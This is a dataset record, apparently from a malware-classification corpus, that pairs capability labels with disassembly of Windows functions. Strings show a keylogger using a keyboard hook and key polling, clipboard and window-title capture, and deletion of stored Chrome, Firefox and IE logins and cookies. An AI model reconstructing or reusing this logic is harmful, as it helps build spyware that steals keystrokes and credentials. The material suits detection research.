joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407963
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
mov eax, 0x186e4
call fcn.004575f0
push ebx
push ebp
push esi
mov esi, ecx
lea edx, [esp + 0x186fc]
push edi
xorps xmm0, xmm0
mov dword [esp + 0x18], esi
xor ebx, ebx
movlpd qword [esp + 0x10], xmm0
push 0x46652c
lea ecx, [esp + 0x3c]
mov dword [esp + 0x20], ebx
call fcn.0040915b
pop ecx
push eax
lea ecx, [esp + 0x24]
call fcn.00403262
lea ecx, [esp + 0x38]
call fcn.00401f09
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [esp + 0x38]
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebp, eax
mov eax, dword [esp + 0x186fc]
cmp dword [esp + 0x14], eax
ja 0x407a4c
mov edi, dword [esp + 0x186f8]
jae 0x407a46
push ecx
push 0x186a0
lea eax, [esp + 0x58]
mov ecx, esi
push eax
call fcn.00404b96
mov esi, eax
cdq
add dword [esp + 0x10], eax
lea eax, [esp + 0x1c]
push ebx
adc dword [esp + 0x18], edx
push eax
push esi
lea eax, [esp + 0x5c]
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_WriteFile]
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push 8
push eax
call fcn.004020b7
mov ecx, dword [esp + 0x30]
push 0x57
call fcn.00404aa1
test esi, esi
jle 0x407a94
mov eax, dword [esp + 0x186fc]
mov esi, dword [esp + 0x18]
cmp dword [esp + 0x14], eax
jb 0x4079e3
ja 0x407a4c
cmp dword [esp + 0x10], edi
jb 0x4079e3
push ebp
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [esp + 0x18700]
call fcn.00401f04
push eax
lea ecx, [esp + 0x24]
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
mov bl, 1
lea ecx, [esp + 0x20]
call fcn.00401f09
lea ecx, [esp + 0x18700]
call fcn.00401f09
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x186e4
ret
push ebp
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [esp + 0x20]
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
jmp 0x407a72

Function at 0x407aad
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.004020df
lea ecx, [ebp + 8]
call fcn.00401fab
mov edi, eax
jmp 0x407b34
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
push eax
call fcn.00441dc1
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00402093
mov ecx, eax
call fcn.00401fab
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.0040919d
pop ecx
push eax
mov ecx, esi
call fcn.00401fe2
lea ecx, [ebp - 0x1c]
call fcn.00401fd8
lea ecx, [ebp - 0x34]
call fcn.00401fd8
lea ecx, [ebp - 0x4c]
call fcn.00401fd8
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x407ac8
lea ecx, [ebp + 8]
call fcn.00401fd8
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a179
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esi + 0x68]
mov byte [esi + 0x49], 1
call fcn.0040b83a
cmp dword [esi + 0x4c], 2
mov edi, str.Offline_Keylogger_Started
je 0x40a1ca
push edi
lea ecx, [esp + 0x14]
call fcn.00402093
sub esp, 0x18
lea edx, [esp + 0x28]
mov ecx, esp
call fcn.0041bbac
mov ecx, esi
call fcn.0040b0b2
lea ecx, [esp + 0x10]
call fcn.00401fd8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b43d
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
add esp, 0x30
xor ebx, ebx
push ebx
push ebx
push esi
push 0x40a27d
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0x40a210
push ebx
push ebx
push esi
push 0x40a267
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a289
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.00401f09
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x40a22d
Capabilities:
Create thread

Disassembly:
lea eax, [esp + 4]
mov ecx, 0x475158
push eax
call fcn.0040b83a
cmp byte [0x475139], 0
jne 0x40a25b
xor eax, eax
push eax
push eax
push 0x4750f0
push 0x40a273
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
lea ecx, [esp + 4]
call fcn.00401f09
ret 0x18

Function at 0x40a2b8
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [0x472b24], esi
cmp dword [esi], edi
jne 0x40a333
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
push 0x40a2a4
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
test eax, eax
jne 0x40a333
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.0041badc
sub esp, 0x18
mov edx, str.Keylogger_initialization_failure:_error
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465f08
call fcn.00402093
call fcn.0041b43d
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00401fd8
xor eax, eax
inc eax
jmp 0x40a361
push edi
push edi
push edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x40a35f
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [esi], edi
jne 0x40a333
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a3e0
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
push 0x100
lea eax, [ebp - 0x124]
mov ebx, ecx
push 0
push eax
call fcn.00436dd0
add esp, 0xc
lea edi, [ebp - 0x22]
xor eax, eax
mov word [ebp - 0x24], ax
push 7
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x10
mov esi, eax
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
push 0
push 0x10
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x124]
push eax
push dword [ebx + 0x58]
push dword [ebx + 0x54]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
call fcn.0040417e
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40a5c3
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x4751a0]
or eax, dword [0x4751a4]
push ebx
push esi
push edi
mov esi, ecx
je 0x40a670
xor ebx, ebx
mov byte [esi + 0x39], bl
push ebx
push 0x80
push 3
push ebx
push 7
push closesocket
mov ecx, 0x475158
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40a644
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
cmp ebx, dword [0x4751a4]
jb 0x40a63b
ja 0x40a620
cmp eax, dword [0x4751a0]
jb 0x40a63b
mov byte [esi + 0x39], 1
cmp byte [esi + 0x49], bl
je 0x40a630
mov ecx, esi
call fcn.0040b02a
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x40a647
mov byte [esi + 0x39], bl
cmp byte [esi + 0x39], 1
je 0x40a5de
cmp byte [esi + 0x49], bl
jne 0x40a670
cmp dword [0x47513c], 1
jne 0x40a670
sub esp, 0x18
lea eax, [esi + 0x68]
mov ecx, esp
push eax
call fcn.0040905c
mov ecx, esi
call fcn.0040a179
pop edi
pop esi
pop ebx
ret
Function at 0x40a674
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x460
push ebx
push ebp
mov ebx, ecx
push esi
push edi
lea ebp, [ebx + 4]
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, ebx
call fcn.0040a5c3
mov edx, 0x466468
mov ecx, ebp
call fcn.004077b7
test al, al
je 0x40a87b
mov ecx, 0x475170
call fcn.00406b28
test al, al
jne 0x40a6d0
push 0
mov ecx, 0x475170
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
lea edi, [ebx + 0x68]
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
test al, 2
je 0x40a6f8
push 0x80
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
push 0x12
mov ecx, 0x4750e4
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
jne 0x40a73c
push 1
mov ecx, edi
call fcn.00401f04
push eax
mov ecx, ebp
call fcn.0040247c
mov esi, eax
mov ecx, ebp
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041c33f
pop ecx
pop ecx
jmp 0x40a847
lea ecx, [esp + 0x10]
call fcn.004020df
mov ecx, 0x475338
call fcn.0040247c
push eax
mov ecx, 0x475338
call fcn.00401fab
push eax
lea ecx, [esp + 0x78]
call fcn.00406cb7
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40a7d3
lea ecx, [esp + 0x28]
call fcn.004020df
mov ecx, edi
call fcn.00401f04
lea edx, [esp + 0x28]
mov ecx, eax
call fcn.0041c3d3
test al, al
je 0x40a7ca
lea ecx, [esp + 0x28]
call fcn.0040247c
push eax
lea ecx, [esp + 0x2c]
call fcn.00401fab
push eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x7c]
call fcn.00406dd8
push eax
lea ecx, [esp + 0x14]
call fcn.00401fe2
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x28]
call fcn.00401fd8
mov ecx, ebp
call fcn.0040247c
add eax, eax
mov ecx, ebp
push eax
call fcn.00401f04
push eax
lea ecx, [esp + 0x48]
call fcn.004020b7
push eax
lea ecx, [esp + 0x14]
call fcn.00403376
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.0040247c
push eax
lea ecx, [esp + 0x14]
call fcn.00401fab
push eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x7c]
call fcn.00406dd8
mov ecx, edi
call fcn.00401f04
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0041c440
lea ecx, [esp + 0x58]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.00401fd8
push 0x466468
mov ecx, ebp
call fcn.00409057
push 0x13
mov ecx, 0x4750e4
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
je 0x40a87b
push 6
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
cmp byte [ebx + 0x49], 0
jne 0x40a689
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ac24
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x49], 0
jne 0x40ac42
cmp byte [edi + 0x4a], 0
je 0x40ae33
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x476ce0]
cmp eax, dword [ecx + 4]
jle 0x40ac8c
push 0x476ce0
call fcn.00434334
cmp dword [0x476ce0], 0xffffffff
pop ecx
jne 0x40ac8c
mov ecx, 0x476ce4
call fcn.00401f86
push 0x457f20
call fcn.004346be
mov dword [esp], 0x476ce0
call fcn.004342f5
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
push 0
lea ecx, [esi + 1]
push ecx
lea ecx, [esp + 0x28]
call fcn.0040b852
test esi, esi
je 0x40ad61
lea ecx, [esp + 0x20]
call fcn.0040247c
push eax
lea ecx, [esp + 0x24]
call fcn.00401f04
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edx, 0x476ce4
lea ecx, [esp + 0x20]
call fcn.0040b91a
test al, al
jne 0x40ad61
lea eax, [esp + 0x20]
mov ecx, 0x476ce4
push eax
call fcn.0040b83a
lea ecx, [esp + 0x20]
call fcn.0040247c
dec eax
lea ecx, [esp + 0x20]
push eax
call fcn.00409044
sub esp, 0x18
lea eax, [esp + 0x38]
cmp byte [0x47513b], 0
je 0x40ad30
mov ecx, esp
push eax
call fcn.0040905c
mov ecx, edi
call fcn.0040b0b2
jmp 0x40ad61
mov esi, esp
lea ecx, [esp + 0x50]
push 0x4666ec
push eax
mov edx, 0x4666f4
call fcn.0040b8ca
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
mov ecx, edi
call fcn.0040a584
lea ecx, [esp + 0x38]
call fcn.00401f09
mov ecx, edi
call fcn.0040b696
call fcn.0041ba34
mov esi, 0xea60
cmp eax, esi
jb 0x40ae1c
mov ebx, dword [esp + 0x10]
cmp byte [edi + 0x49], 0
jne 0x40ad8e
cmp byte [edi + 0x4a], 0
je 0x40ae2a
call fcn.0041ba34
cmp eax, esi
jb 0x40adaa
mov ebx, eax
push 0x3e8
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40ad7e
push 0xa
lea eax, [esp + 0x18]
xor edx, edx
push eax
mov eax, ebx
div esi
push eax
call fcn.00441dc1
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x68]
push str._minutes__r_n
push eax
call fcn.00402093
push eax
mov edx, str._r_n_User_has_been_idle_for
lea ecx, [esp + 0x58]
call fcn.004052fd
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.00406383
sub esp, 0x14
mov edx, eax
mov ecx, esp
call fcn.0041bbac
mov ecx, edi
call fcn.0040a584
lea ecx, [esp + 0x38]
call fcn.00401fd8
lea ecx, [esp + 0x50]
call fcn.00401fd8
lea ecx, [esp + 0x68]
call fcn.00401fd8
lea ecx, [esp + 0x20]
call fcn.00401f09
jmp 0x40ac32
lea ecx, [esp + 0x20]
call fcn.00401f09
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ae3c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x4a], 0
jne 0x40aed6
mov edi, str.Online_Keylogger_Started
mov byte [esi + 0x4a], 1
push edi
lea ecx, [ebp - 0x18]
call fcn.00402093
sub esp, 0x18
lea edx, [ebp - 0x18]
mov ecx, esp
call fcn.0041bbac
mov ecx, esi
call fcn.0040b0b2
lea ecx, [ebp - 0x18]
call fcn.00401fd8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b43d
mov edi, dword [sym.imp.KERNEL32.DLL_CreateThread]
xor ebx, ebx
add esp, 0x30
cmp byte [esi + 0x49], bl
jne 0x40aeca
cmp dword [esi], ebx
jne 0x40aebe
push ebx
push ebx
push esi
push 0x40a267
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a289
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a295
push ebx
push ebx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b65c
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40b680
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x40b680
push esi
jmp 0x40b685
push 0x466468
mov ecx, dword [esp + 0xc]
call fcn.0040417e
mov eax, dword [esp + 8]
pop esi
ret 4

Function at 0x40b7fa
Capabilities:
Delete directory
Delete file
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push ebx
push 0x40a27d
mov byte [esi + 0x49], bl
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
cmp dword [esi], ebx
je 0x40b829
push dword [esi]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x40a267
mov dword [esi], ebx
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov ecx, esi
pop esi
pop ebx
jmp fcn.0040b7b7

Function at 0x40b960
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x4669b4
call fcn.0043c01a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00406383
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40b9c7
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
sub eax, 1
je 0x40b9bb
sub eax, 1
je 0x40b9bb
xor bl, bl
jmp 0x40b9e0
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x40b9d1
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402093
call fcn.0040c126
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b9ef
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x4669b4
call fcn.0043c01a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00406383
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40ba56
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
sub eax, 1
je 0x40ba4a
sub eax, 1
je 0x40ba4a
xor bl, bl
jmp 0x40ba6f
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x40ba60
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402093
call fcn.0040c126
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ba7e
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004020df
lea ecx, [ebp - 0x48]
call fcn.004020df
lea ecx, [ebp - 0x18]
call fcn.004020df
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402093
push eax
push 0x4669b4
call fcn.0043c01a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004052fd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x78]
call fcn.00401fd8
lea eax, [ebp - 0x1d0]
push eax
push 0x466974
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406c1e
pop ecx
mov ecx, eax
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00401fd8
cmp esi, 0xffffffff
jne 0x40bc32
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402093
call fcn.0040c126
add esp, 0x18
jmp 0x40bc66
test byte [ebp - 0x1d0], 0x10
je 0x40bc32
lea eax, [ebp - 0x1a4]
push 0x466ad4
push eax
call fcn.0043fc40
pop ecx
pop ecx
test eax, eax
je 0x40bc32
lea eax, [ebp - 0x1a4]
push 0x466ad8
push eax
call fcn.0043fc40
pop ecx
pop ecx
test eax, eax
je 0x40bc32
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x90]
call fcn.00401fd8
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00401fe2
lea ecx, [ebp - 0x90]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40bc19
call dword [sym.imp.KERNEL32.DLL_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40bc32
call dword [sym.imp.KERNEL32.DLL_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x40bb39
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402093
call fcn.0040c126
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fd8
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40bc85
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004020df
lea ecx, [ebp - 0x18]
call fcn.004020df
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402093
push eax
push 0x4669b4
call fcn.0043c01a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004052fd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fe2
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fd8
lea eax, [ebp - 0x1b8]
push eax
push 0x466974
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00406c1e
pop ecx
mov ecx, eax
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00401fd8
cmp esi, 0xffffffff
jne 0x40bdcf
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402093
call fcn.0040c126
add esp, 0x18
jmp 0x40be03
test byte [ebp - 0x1b8], 0x10
je 0x40bdcf
lea eax, [ebp - 0x18c]
push 0x466ad4
push eax
call fcn.0043fc40
pop ecx
pop ecx
test eax, eax
je 0x40bdcf
lea eax, [ebp - 0x18c]
push 0x466ad8
push eax
call fcn.0043fc40
pop ecx
pop ecx
test eax, eax
je 0x40bdcf
lea eax, [ebp - 0x18c]
push 0x466b3c
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401fe2
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x78]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x40be28
call dword [sym.imp.KERNEL32.DLL_GetLastError]
dec eax
sub eax, 1
jne 0x40be1d
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x40bd39
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402093
call fcn.0040c126
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
xor bl, bl
jmp 0x40be05
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x40bd27
Function at 0x40be37
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004020df
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, closesocket
lea ecx, [ebp - 0x30]
xor ebx, ebx
call fcn.004134f4
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
mov edx, 0x4660a4
lea ecx, [ebp - 0x18]
call fcn.00405b05
test al, al
je 0x40bea4
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402093
call fcn.0040c126
mov bl, 1
jmp 0x40bf47
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40be89
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.0041bbac
mov ecx, eax
call fcn.00401f04
mov ecx, eax
call fcn.0041c1df
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401fd8
test esi, esi
je 0x40bf1d
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x40be93
push ebx
push 0x466bf0
mov ecx, 0x475a00
call fcn.00406ae1
test eax, eax
je 0x40bf4a
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402093
call fcn.0040c126
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40c0b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0x472b19], cl
push edi
mov dword [0x472b28], eax
test cl, cl
je 0x40c10d
mov edi, 0x466c48
mov dword [ebp - 4], esi
mov ebx, 0x4752f0
push edi
mov ecx, ebx
call fcn.00401fab
mov edx, eax
call fcn.0041344d
pop ecx
test al, al
je 0x40c10d
lea eax, [ebp - 4]
mov ecx, ebx
push eax
push edi
call fcn.00401fab
mov edx, eax
call fcn.00413497
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x40c10d
xor al, al
jmp 0x40c11f
push esi
push esi
push esi
push 0x40bf5a
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov al, 1
